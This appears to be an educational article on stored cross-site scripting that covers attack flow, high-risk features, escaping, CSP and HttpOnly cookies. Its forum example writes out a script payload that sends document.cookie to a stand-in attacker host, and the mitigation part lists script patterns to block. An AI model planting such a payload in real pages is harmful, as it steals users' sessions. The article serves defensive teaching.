Understanding Stored XSS
Stored Cross-Site Scripting (XSS), also called Persistent XSS, is one of the most severe web security vulnerabilities. It occurs when a web application stores malicious user input and later displays it to other users without proper sanitization or escaping. Attackers exploit this flaw to execute arbitrary scripts in victims' browsers, leading to session hijacking, data theft, or defacement.
Unlike reflected XSS, stored XSS persists across multiple user sessions, making it particularly dangerous for applications that handle user-generated content.
How Stored XSS Works
Stored XSS vulnerabilities arise when an application fails to validate, sanitize, or escape user input before storing it in a database or other persistent storage. When this untrusted data is later rendered in a web page, the browser interprets it as executable code.
Attack Flow
- Injection: An attacker submits malicious input (e.g., JavaScript payload) via a vulnerable form.
- Storage: The application saves the input in a database or file system.
- Execution: When another user loads a page containing the stored input, the browser executes the malicious script.
Example: A hacker posts a comment with embedded JavaScript on a forum. When other users view the comment, the script steals their session cookies.
Common Attack Vectors
Stored XSS typically targets features that store and display user-generated content. The following are high-risk areas:
| Feature | Example | Impact |
|---|---|---|
| User profiles | Bio or "About Me" sections | Account takeover via session theft |
| Comments/Reviews | Product or blog comments | Malware distribution |
| Private messages | Webmail or chat applications | Phishing or credential harvesting |
| File uploads | Image metadata (EXIF data) | Persistent payload delivery |
Mitigation Strategies
Defending against stored XSS requires a defense-in-depth approach. Implement these controls at both the input and output stages:
Input Validation & Sanitization
- Whitelist validation: Only allow expected characters (e.g., alphanumeric for usernames).
- Reject malicious patterns: Block
<script>,javascript:, and other dangerous syntax. - Use libraries: Leverage frameworks like DOMPurify or OWASP ESAPI for sanitization.
Output Escaping
- Context-aware escaping: Apply the correct encoding based on where data is rendered:
- HTML body:
&→&,<→< - HTML attributes: Use
"or'escaping - JavaScript: Use
\x3Cfor< - URLs: Encode with
encodeURIComponent()
- HTML body:
- Framework protections: Use built-in escaping in React (
{}), Angular ({{}}), or Vue (v-htmlwith caution).
Additional Safeguards
- Content Security Policy (CSP): Restrict inline scripts and external sources with headers like:
Content-Security-Policy: script-src 'self'; object-src 'none' - HTTP-only cookies: Prevent session cookie theft via JavaScript.
- Regular audits: Scan code with tools like OWASP ZAP or Burp Suite.
Pro Tip: Never trust client-side validation alone—always validate and sanitize on the server.
Real-World Example: Exploiting a Vulnerable Forum
Scenario: A forum stores user posts in a database without escaping HTML.
- Attacker submits a post with:
<script> fetch('https://attacker.com/steal?cookie=' + document.cookie); </script> - The forum saves the post and displays it to other users.
- When victims view the post, their session cookies are sent to the attacker.
Fix: The forum should escape all user input before rendering:
<!-- Before (vulnerable) -->
<div>{{ user_post }}</div>
<!-- After (safe) -->
<div>{{ user_post | escape }}</div>
Learn More
Essential Resources
- OWASP XSS Prevention Cheat Sheet
- PortSwigger Web Security Academy: Stored XSS
- Google’s XSS Game (Interactive challenges)
Advanced Topics
- DOM-based XSS: Client-side variants of stored XSS.
- Mutation XSS: Bypassing filters with browser quirks.
- CSP Bypass Techniques: Common evasion methods for Content Security Policy.